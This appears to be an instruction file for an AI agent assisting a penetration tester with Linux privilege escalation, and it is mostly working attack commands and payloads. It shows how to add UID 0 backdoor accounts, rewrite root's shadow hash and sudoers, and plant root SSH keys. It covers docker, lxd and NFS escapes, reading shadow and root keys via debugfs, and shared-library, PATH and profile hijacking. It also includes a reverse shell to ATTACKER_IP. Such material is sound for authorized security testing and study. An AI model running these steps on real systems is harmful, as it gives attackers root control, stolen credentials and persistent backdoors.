| name | linux-file-path-abuse |
| description | Exploit writable critical files, NFS misconfigurations, shared library hijacking, and privileged group membership (docker, lxd, disk, adm, video, staff) for Linux privilege escalation. Use when a user belongs to a privileged group or has write access to sensitive files or paths.
|
| keywords | ["writable passwd","nfs privesc","no_root_squash","library hijacking","ld.so.conf","rpath abuse","docker group escape","docker group privilege escalation","lxd group privesc","lxd group privilege escalation","lxc group","disk group debugfs","privileged group membership","path hijack","symlink attack","profile injection","writable shadow","ldconfig"] |
| tools | ["gcc","readelf","ldd","strace","docker","lxc","debugfs","showmount","ldconfig"] |
| opsec | medium |
Linux File, Path, and Group-Based Privilege Escalation
You are helping a penetration tester exploit writable files, filesystem misconfigurations,
shared library loading, and privileged group membership for privilege escalation. All
testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[linux-file-path-abuse] Activated → <target> to the screen on activation.
- Evidence → save significant output to
engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access on Linux target
- At least one of: writable critical file, NFS mount, missing shared library, privileged
group membership, writable PATH directory, or writable profile script
- gcc (for shared library payloads and NFS SUID binaries — can cross-compile on attacker)
Step 1: Assess Available Vectors
Determine which file/path/group vectors are available. If coming from linux-discovery,
the routing should specify the vector. Otherwise, enumerate:
ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null
ls -la /etc/sudoers.d/ 2>/dev/null
test -w /etc/passwd && echo "WRITABLE: /etc/passwd"
test -w /etc/shadow && echo "WRITABLE: /etc/shadow"
test -w /etc/sudoers && echo "WRITABLE: /etc/sudoers"
cat /etc/exports 2>/dev/null
showmount -e localhost 2>/dev/null
mount | grep nfs
id
groups
echo $PATH | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "WRITABLE PATH: $d"; done
cat /etc/ld.so.conf 2>/dev/null
ls -la /etc/ld.so.conf.d/ 2>/dev/null
ls -la ~/.bashrc ~/.bash_profile ~/.profile 2>/dev/null
ls -la /etc/profile /etc/profile.d/ 2>/dev/null
ls -la /root/.bashrc /root/.profile 2>/dev/null
Decision tree — go to the first matching step:
| Finding | Go to |
|---|
| Writable /etc/passwd | Step 2 |
| Writable /etc/shadow | Step 2 |
| Writable /etc/sudoers or /etc/sudoers.d/ | Step 2 |
| NFS no_root_squash | Step 3 |
| docker group | Step 4 |
| lxd/lxc group | Step 5 |
| disk group | Step 6 |
| Missing .so on SUID binary | Step 7 |
| Writable ld.so.conf or ld.so.conf.d/ | Step 7 |
| RPATH/RUNPATH with writable dir | Step 7 |
| Writable PATH directory + root script using relative binary | Step 8 |
| Writable profile scripts (.bashrc, /etc/profile.d/) | Step 9 |
| Writable SSH authorized_keys for root | Step 2 |
Step 2: Writable Critical Files
/etc/passwd — Add UID 0 User
head -3 /etc/passwd
openssl passwd -1 "password123"
openssl passwd -6 "password123"
echo 'backdoor:$6$salt$hash:0:0::/root:/bin/bash' >> /etc/passwd
su backdoor
id
Alternative — modify existing user to UID 0:
sed -i 's/^youruser:x:1000:1000:/youruser:x:0:0:/' /etc/passwd
su youruser
/etc/shadow — Replace Root Hash
openssl passwd -6 "newrootpass"
sed -i "s|^root:[^:]*:|root:\$6\$salt\$HASH_HERE:|" /etc/shadow
su root
/etc/sudoers — Grant NOPASSWD
echo "youruser ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
visudo -c
sudo su
Writable /etc/sudoers.d/ directory:
echo "youruser ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/privesc
chmod 440 /etc/sudoers.d/privesc
sudo su
SSH Authorized Keys
ssh-keygen -t ed25519 -f /tmp/privesc_key -N ""
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA...key... privesc" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
ssh -i /tmp/privesc_key root@localhost
OPSEC notes:
/etc/passwd changes visible to all users immediately
- Invalid
/etc/sudoers syntax breaks sudo for entire system
- SSH key addition logged in auth.log when used
- File modification timestamps updated — check with
stat
After success → report finding, proceed to Step 10: Escalation and Routing.
Step 3: NFS no_root_squash
NFS exports with no_root_squash allow root-privileged operations from the NFS client.
The attacker mounts the share on a machine where they have root, creates a SUID binary,
then executes it from the low-privilege account on the target.
Enumerate
cat /etc/exports 2>/dev/null | grep -v "^#"
showmount -e TARGET_IP
mount | grep nfs
df -h | grep nfs
mount | grep nfs | grep -i "nosuid"
Exploit — SUID Binary via NFS
On attacker machine (as root):
mkdir -p /tmp/nfs
mount -t nfs TARGET_IP:/exported_share /tmp/nfs
cat > /tmp/nfs/suid_shell.c << 'PAYLOAD'
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
return 0;
}
PAYLOAD
gcc -o /tmp/nfs/suid_shell /tmp/nfs/suid_shell.c
chmod 4755 /tmp/nfs/suid_shell
rm /tmp/nfs/suid_shell.c
On target (as low-privilege user):
/path/to/nfs/mount/suid_shell
id
whoami
Alternative — copy bash with SUID:
cp /bin/bash /tmp/nfs/rootbash
chmod 4755 /tmp/nfs/rootbash
/path/to/nfs/mount/rootbash -p
Troubleshooting:
mount: permission denied → target may require -o vers=3 or specific NFS version
- SUID bit not preserved → share mounted with
nosuid option (attack blocked)
- Binary won't execute → share mounted with
noexec (try script-based approach instead)
Operation not permitted on chmod → NFS has root_squash (default — not exploitable)
After success → report finding, proceed to Step 10.
Step 4: Docker Group Escape
Docker group membership allows launching containers. Mount the host filesystem into a
container and modify critical files as root (container root = host root with -v).
Enumerate
groups | grep docker
docker ps 2>/dev/null
docker images 2>/dev/null
ls -la /var/run/docker.sock
Exploit — Mount Host Filesystem
docker run --rm -it -v /:/mnt alpine chroot /mnt bash
docker run --rm -v /:/mnt alpine sh -c "cp /mnt/bin/bash /mnt/tmp/rootbash && chmod 4755 /mnt/tmp/rootbash"
/tmp/rootbash -p
docker run --rm -v /:/mnt alpine sh -c "echo 'backdoor:\$6\$salt\$hash:0:0::/root:/bin/bash' >> /mnt/etc/passwd"
su backdoor
docker run --rm -v /:/mnt alpine sh -c "mkdir -p /mnt/root/.ssh && echo 'ssh-ed25519 KEY' >> /mnt/root/.ssh/authorized_keys"
If no images are available:
docker pull alpine
docker run --rm -it --privileged --pid=host alpine nsenter --target 1 --mount --uts --ipc --net --pid -- bash
Docker socket via API (if docker CLI unavailable):
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
curl -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","cp /host/bin/bash /host/tmp/rootbash && chmod 4755 /host/tmp/rootbash"],"HostConfig":{"Binds":["/:/host"]}}' \
http://localhost/containers/create
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/CONTAINER_ID/start
OPSEC notes:
- Container creation logged by docker daemon (
/var/log/docker.log, journalctl)
- Image pull creates network activity
- Mount operations visible in process listing
After success → report finding, proceed to Step 10.
Step 5: LXD/LXC Group Escape
LXD/LXC group membership allows container management. Create a privileged container with
the host filesystem mounted, then modify files as root inside it.
Enumerate
groups | grep -E "lxd|lxc"
lxc list 2>/dev/null
lxc image list 2>/dev/null
Exploit — Privileged Container with Host Mount
lxd init --auto 2>/dev/null
lxc image import /tmp/alpine.tar.gz --alias privesc-img
lxc image copy images:alpine/3.18 local: --alias privesc-img
lxc init privesc-img privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/host recursive=true
lxc start privesc
lxc exec privesc -- /bin/sh
echo 'backdoor:$6$salt$hash:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
cp /mnt/host/bin/bash /mnt/host/tmp/rootbash
chmod 4755 /mnt/host/tmp/rootbash
exit
/tmp/rootbash -p
Cleanup:
lxc stop privesc
lxc delete privesc
lxc image delete privesc-img
Troubleshooting:
Error: not found on lxd init → LXD not installed, only LXC available; use lxc-create
and lxc-attach instead
- Storage backend errors → try
lxd init with dir backend
- Image import fails → use
lxc-create -t download for LXC (non-LXD)
After success → report finding, proceed to Step 10.
Step 6: Disk Group — Raw Device Access
The disk group grants read access to block devices (/dev/sda*). Use debugfs to
extract sensitive files without normal file permissions.
Enumerate
groups | grep disk
ls -la /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null
lsblk
df / | tail -1 | awk '{print $1}'
Exploit — Read Sensitive Files via debugfs
debugfs /dev/sda1 -R 'cat /etc/shadow' 2>/dev/null
debugfs /dev/sda1 -R 'cat /root/.ssh/id_rsa' 2>/dev/null
debugfs /dev/sda1 -R 'cat /etc/sudoers' 2>/dev/null
debugfs /dev/sda1 -R 'cat /root/.bash_history' 2>/dev/null
Save extracted hashes for cracking:
debugfs /dev/sda1 -R 'cat /etc/shadow' 2>/dev/null > engagement/evidence/shadow-hashes.txt
Do NOT crack hashes in this skill. Save the shadow hashes to
engagement/evidence/ and return to the orchestrator with the hash file path,
hash type (SHA-512 crypt / hashcat mode 1800, or MD5 crypt / mode 500), and a
routing recommendation to credential-recovery.
Alternative — dd full filesystem:
dd if=/dev/sda1 bs=4M | gzip > /tmp/sda1.img.gz
gunzip sda1.img.gz
mount -o loop sda1.img /mnt/extracted
cat /mnt/extracted/etc/shadow
Write access (if disk group has write):
debugfs -w /dev/sda1
Troubleshooting:
debugfs: Bad magic number → not ext2/3/4 filesystem; try xfs_db for XFS
- Permission denied on device → disk group may not have read on this device
- Only read access → extract credentials and crack, or look for SSH keys
After success → report finding, proceed to Step 10.
Step 7: Shared Library Hijacking
Exploit the dynamic linker's library search order to inject malicious shared objects that
execute when a privileged binary loads them.
7a: Missing Shared Object on SUID/Privileged Binary
find / -perm -4000 -type f 2>/dev/null | while read bin; do
ldd "$bin" 2>/dev/null | grep "not found" && echo " ^ from: $bin"
done
strace /usr/bin/target_suid 2>&1 | grep -E "open(at)?\(.*\.so" | grep -i "no such"
Exploit — inject missing .so:
cat > /tmp/privesc.c << 'PAYLOAD'
// Constructor runs when library is loaded
void __attribute__((constructor)) init(void) {
setuid(0);
setgid(0);
unsetenv("LD_PRELOAD");
system("/bin/bash -p");
}
PAYLOAD
gcc -shared -fPIC -o /tmp/libmissing.so /tmp/privesc.c
cp /tmp/libmissing.so /path/where/binary/looks/libmissing.so
/usr/bin/target_suid
7b: RPATH/RUNPATH with Writable Directory
find / -perm -4000 -type f 2>/dev/null | while read bin; do
rpath=$(readelf -d "$bin" 2>/dev/null | grep -iE "rpath|runpath" | awk '{print $NF}' | tr -d '[]')
[ -n "$rpath" ] && echo "$bin → $rpath"
done
ls -ld /opt/app/lib 2>/dev/null
Exploit — inject library in RPATH directory:
ldd /usr/bin/target_suid | head -5
gcc -shared -fPIC -o /writable/rpath/dir/libtarget.so /tmp/privesc.c
/usr/bin/target_suid
7c: Writable /etc/ld.so.conf or /etc/ld.so.conf.d/
ls -la /etc/ld.so.conf /etc/ld.so.conf.d/ 2>/dev/null
echo "/tmp/privlibs" > /etc/ld.so.conf.d/privesc.conf
mkdir -p /tmp/privlibs
ldd /usr/bin/target_binary | head -3
gcc -shared -fPIC -o /tmp/privlibs/libtarget.so.1 /tmp/privesc.c
ldconfig 2>/dev/null
7d: Python/Perl Library Path Hijacking
When a root-executed script imports modules, hijack the import path:
Python:
python3 -c "import sys; print('\n'.join(sys.path))"
cat > /tmp/os.py << 'PAYLOAD'
import subprocess
import importlib
subprocess.call(["/bin/bash", "-p"])
PAYLOAD
PYTHONPATH=/tmp /usr/bin/root_script.py
Perl:
cat > /tmp/strict.pm << 'PAYLOAD'
BEGIN {
system("/bin/bash -p");
}
1;
PAYLOAD
PERL5LIB=/tmp /usr/bin/root_script.pl
OPSEC notes:
- Malicious .so files are obvious artifacts
- ldconfig modifications change system-wide library resolution
- Broken libraries can crash system services
- Constructor functions leave process traces
After success → report finding, proceed to Step 10.
Step 8: PATH Hijacking in Scripts and Services
When a privileged script or service calls a binary without a full path, inject a malicious
binary earlier in PATH.
Identify the Target
cat /opt/scripts/backup.sh | grep -v "^#" | grep -oE "^[a-z]+" | sort -u
for d in /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin; do
[ -w "$d" ] && echo "WRITABLE: $d"
done
Exploit
cat > /usr/local/bin/tar << 'PAYLOAD'
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/usr/bin/tar "$@"
PAYLOAD
chmod 755 /usr/local/bin/tar
/tmp/rootbash -p
Writable PATH + cron interaction:
Staff group exploitation:
groups | grep staff
ls -ld /usr/local/bin /usr/local/lib
After success → report finding, proceed to Step 10.
Step 9: Profile Script Injection
Inject commands into shell profile scripts that execute when a privileged user logs in.
This is a waiting attack — payload fires when the target user next opens an
interactive shell.
Identify Writable Profiles
ls -la ~/.bashrc ~/.bash_profile ~/.profile ~/.zshrc 2>/dev/null
ls -la /etc/profile /etc/bash.bashrc 2>/dev/null
ls -la /etc/profile.d/ 2>/dev/null
ls -la /root/.bashrc /root/.profile 2>/dev/null
Exploit
Inject SUID creation into root's profile:
echo 'cp /bin/bash /tmp/rootbash 2>/dev/null; chmod 4755 /tmp/rootbash 2>/dev/null' >> /root/.bashrc
/tmp/rootbash -p
System-wide profile injection:
cat > /etc/profile.d/zzz-privesc.sh << 'PAYLOAD'
if [ "$(id -u)" -eq 0 ]; then
cp /bin/bash /tmp/rootbash 2>/dev/null
chmod 4755 /tmp/rootbash 2>/dev/null
fi
PAYLOAD
chmod 644 /etc/profile.d/zzz-privesc.sh
Reverse shell variant (if SUID approach won't work):
echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 &' >> /root/.bashrc
OPSEC notes:
- Profile modification is persistent — survives reboots
- Obvious on inspection (
cat ~/.bashrc)
- Triggers only on interactive login (not scripts, not cron)
- System-wide profiles affect all users — more likely to be noticed
- Use
zzz- prefix to load last (after other profile.d scripts)
After success → report finding, proceed to Step 10.
Step 10: Escalation and Routing
Troubleshooting
| Problem | Cause | Fix |
|---|
Permission denied writing to /etc/passwd | Not actually writable | Re-check with ls -la, look for ACLs with getfacl |
| NFS SUID bit not preserved | nosuid mount option | Attack blocked — try file write approach instead |
Docker permission denied | Docker daemon not running | Check systemctl status docker, look for docker.sock |
LXD Error: not found | LXD not initialized | Run lxd init --auto first |
| debugfs shows nothing | Wrong device or not ext filesystem | Check lsblk, try xfs_db for XFS |
| Library hijack crashes binary | Wrong .so name or ABI mismatch | Check exact expected name with ldd, match soname |
| PATH hijack not triggering | Script uses full path | Check script source; full paths (/usr/bin/tar) aren't hijackable |
| Profile injection not firing | Target uses non-interactive shell | Only works on login shells; try cron/service approach instead |
Operation not permitted on chmod 4755 | Filesystem mounted nosuid | Check `mount |
Cleanup Reminders
Remind the user to clean up after testing:
sed -i '/^backdoor:/d' /etc/passwd
rm -f /tmp/rootbash /tmp/suid_shell
rm -f /etc/sudoers.d/privesc
rm -f /path/to/nfs/suid_shell
docker rm -f $(docker ps -aq) 2>/dev/null
lxc stop privesc && lxc delete privesc 2>/dev/null
rm -f /tmp/privlibs/*.so /tmp/privesc.c /tmp/libmissing.so
rm -f /usr/local/bin/tar